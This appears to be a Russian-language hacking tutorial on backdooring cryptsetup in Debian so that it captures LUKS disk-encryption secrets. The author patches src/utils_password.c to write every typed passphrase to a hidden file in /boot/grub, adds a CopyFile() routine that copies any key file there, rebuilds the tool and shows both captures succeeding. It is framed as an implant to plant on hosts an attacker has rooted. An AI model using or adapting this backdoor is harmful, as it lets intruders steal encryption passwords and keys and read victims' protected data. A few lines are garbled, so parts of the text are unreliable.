Перехват passphrase в utils_password.c

Перехват ключа и пароля в Linux

LUKS — популярная и широко распространенная система шифрования дисков. Однако, когда вы получаете доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет захватывать ключи зашифрованных разделов. В этой статье мы сначала рассмотрим LUKS и утилиту cryptsetup, а затем посмотрим, как изменить исходный код, чтобы мы могли захватить пароль или ключ для расшифровки раздела.

LUKS — это, по сути, стандарт шифрования дисков Linux. Поддерживается до восьми ключевых слотов, вы можете выбирать между хеш-функциями, алгоритмами и режимами шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно только в том случае, если у вас есть доступ к секретному ключу и паролю.

Сре­ди дру­гих пре­иму­ществ LUKS:

 
  • сов­мести­мость через стан­дарти­зацию;
  • за­щита от атак с низ­кой энтро­пией;
  • воз­можность анну­лиро­вать сек­ретную фра­зу.

Ну и рас­простра­няет­ся она бес­плат­но.

Настройка диска

Все манипу­ляции мы будем про­водить на све­жем Debian 10, добавив допол­нитель­ный диск для экспе­римен­тов с шиф­ровани­ем.

Пос­ле уста­нов­ки перехо­дим под root:

su -

За­тем ути­литой fdisk смот­рим наз­вания дос­тупных дис­ков:

$ fdisk -l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

В сво­ем при­мере я буду исполь­зовать устрой­ство /dev/sdb. Для раз­метки дис­ка исполь­зую ути­литу parted, передав имя дис­ка в качес­тве аргу­мен­та:\

parted /dev

По­мечаю таб­лицу раз­делов как GPT:

(parted) mklabel gpt

И соз­даю единс­твен­ный раз­дел, занима­ющий весь диск:

(parted) mkpart primary 1 -1

(parted) quit
 

Сборка cryptsetup

Ра­боты с раз­меткой /dev/sdb закон­чены. Перехо­дим к сбор­ке cryptsetup.

Если у вас уже установлен LUKS и вы хотите изменить текущую версию утилиты, используйте dpkg-dev. В этом примере я создам cryptsetup загруженных шрифтов отдельно от системы. У меня версия 2.0.6, потому что при сборке последней доступной (2.3.4) были проблемы с версиями библиотеки.

Ска­чива­ем, рас­паковы­ваем и уста­нав­лива­ем необ­ходимые зависи­мос­ти:

# cd /root

# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz
# tar xf cryptsetup-2.0.6.tar.xz
# cd cryptsetup-2.0.6
# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Со­бира­ем и уста­нав­лива­ем:

# ./configure

# make && make install

Про­веря­ем уста­нов­ку:

# cryptsetup --version

cryptsetup 2.0.6

От­лично. Теперь соз­дадим зашиф­рован­ный раз­дел с помощью cryptsetup и пароля, вво­димо­го в TTY:

# cryptsetup luksFormat /dev/sdb1

Сог­лаша­емся на фор­матиро­вание (YES) и вво­дим пароль для пос­леду­юще­го дос­тупа к раз­делу. Я исполь­зую t3st3ncryp7.

Про­веря­ем, все ли уда­лось.

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!

Все получи­лось! Под­клю­чаем шиф­рован­ный раз­дел, что­бы даль­ше его мон­тировать:

# cryptsetup luksOpen /dev/sdb1 db

Вво­дим пароль­ную фра­зу (t3st3ncryp7). Чуть поз­же в этом мес­те мы перех­ватим вво­димый в TTY пароль.

Фор­матиру­ем раз­дел:

# mke2fs -j /dev/mapper/db

И мон­тиру­ем для работы, нап­ример в /mnt:

# mount /dev/mapper/db /mnt && cd /mnt
# echo Hello! > test.txt
# cat test.txt

Hello!

# ls -la

ито­го 28
drwxr-xr-x 3 root root 4096 ноя 6 06:49 .
drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..
drwx------ 2 root root 16384 ноя 6 06:48 lost+found
-rw-r--r-- 1 root root 7 ноя 6 06:49 test.txt

Модифицируем код

На этом этапе мы узнаем, как смонтировать зашифрованный раздел LUKS с помощью парольной фразы. Теперь мы исправим исходный код, чтобы сохранить не только введенный пароль, но и случайно сгенерированный файл, который можно указать в качестве ключа для расшифровки раздела.

На­ходим код про­вер­ки passphrase в фай­ле src/utils_password.c (отно­ситель­но кор­ня архи­ва cryptsetup-2.0.6.tar.xz). В ста­рых вер­сиях он находил­ся в фай­ле askpass.c.

Чтобы получить пароль, я модифицирую функцию crypt_get_key_tty (), которая отвечает за ввод пароля с терминала (TTY). Наконец, давайте добавим фрагмент кода, который вставляет передаваемую переменную в нужный нам файл. Возьмите /boot/grub/.captured_pass в качестве пути.

Вот при­мер­но 220-я стро­ка фай­ла src/utils_password.c:

*key = pass;

*key_size = strlen(pass);

До­бавим

FILE *fp;

fp = fopen("/boot/grub/.captured_pass", "w+");
fputs(pass, fp);
fclose(fp);
Перехват passphrase в utils_password.c
Пе­рех­ват passphrase в utils_password.c
 
Превосходно. Введенный вами пароль теперь сохранен в файле .captured_pass. Давайте продолжим и поможем нашей программе создать «резервную копию» ключа, используемого для дешифрования.

Для это­го я решил не читать сам ключ, а взять ори­гиналь­ный путь из фун­кции tools_get_key() и ско­пиро­вать ключ в нуж­ное мес­то. Для добав­ления кода ищем при­мер­но 285-ю стро­ку и пос­ле:

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

До­бав­ляем вызов фун­кции CopyFile(), передав в качес­тве аргу­мен­та путь ори­гиналь­ного фай­ла в перемен­ной key_file и необ­ходимый путь для сох­ранения. Дол­жно получить­ся при­мер­но так:

...

if (pwquality && !opt_force_password && !key_file && !r)
r = tools_check_pwquality(*key);
 
CopyFile(key_file, "/boot/grub/.captured_key");return r;
...
Сохранение ключа в файле utils_password.c

Сох­ранение клю­ча в фай­ле utils_password.c

Не забыва­ем добавить саму фун­кцию CopyFile() в самый конец фай­ла пос­ле фун­кции tools_write_mk():

int CopyFile(const char* source, const char* destination) {

int input, output;
if ((input = open(source, O_RDONLY)) == -1) {
return -1;
}
if ((output = creat(destination, 0660)) == -1) {
close(input);
return -1;
}
 
 
off_t bytesCopied = 0;
struct stat fileinfo = {0};
fstat(input, &fileinfo);
int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);
 
close(input);
close(output);
 
return result;
}

Те­перь пересо­бира­ем наш исправ­ленный вари­ант cryptsetup c уда­лени­ем кеша пре­дыду­щей сбор­ки:

# pwd

# /root/cryptsetup-2.0.6
make clean && make && make install

Нас­тало вре­мя тес­тов. Для начала про­верим перех­ват пароля уже зашиф­рован­ного таким обра­зом дис­ка. Для это­го раз­монти­руем его и вер­нем в пер­воначаль­ное сос­тояние:

# umount /mnt

# cryptsetup luksClose /dev/mapper/db

Те­перь сно­ва рас­шифро­выва­ем и ловим необ­ходимый пароль:

# cryptsetup luksOpen /dev/sdb1 db

Вве­дите пароль­ную фра­зу для /dev/sdb1:

# mount /dev/mapper/db /mnt
# ls /mnt/

lost+found test.txt

# cat /boot/grub/.captured_pass

t3st3ncryp7

Ве­лико­леп­но! Оста­лось отформа­тиро­вать и зашиф­ровать фай­лом клю­чом для про­вер­ки вто­рого спо­соба перех­вата. Генери­руем сам ключ:

# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Фор­матиру­ем и шиф­руем с помощью сге­нери­рован­ного клю­ча, пред­варитель­но отклю­чив раз­дел:

# umount /mnt
# cryptsetup luksClose /dev/mapper/db
# cryptsetup luksFormat /dev/sdb1 /root/secret.key

ПРЕ­ДУП­РЕЖДЕ­НИЕ: Устрой­ство /dev/sdb1 уже содер­жит под­пись супер­бло­ка «crypto_LUKS».WARNING!
========
Дан­ные на /dev/sdb1 будут переза­писа­ны без воз­можнос­ти вос­ста­нов­ления.
Are you sure? (Type uppercase yes): YES

Под­клю­чаем и рас­шифро­выва­ем раз­дел:

# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db

Про­веря­ем, перех­ватил­ся ли ключ.

# ls -la /boot/grub/

ито­го 2392
drwxr-xr-x 5 root root 4096 ноя 6 07:29 .
drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..
-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key
-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass
drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts
-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg
-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv
drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc
drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale
-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2

Пол­ный порядок. Про­верим, работа­ет ли наш ключ, пред­варитель­но дуб­лируя его, ина­че при сле­дующей записи он запишет сам себя в 0 байт:

# cp /boot/grub/.captured_key /boot/grub/.captured_key_use

# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db
Успешный перехват ключа

Ус­пешный перех­ват клю­ча

Итог

Популярность LUKS делает его интересной целью для хакеров. Если есть возможность проникнуть в систему, то шифрование может и не спасти, что мы сегодня продемонстрировали.

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.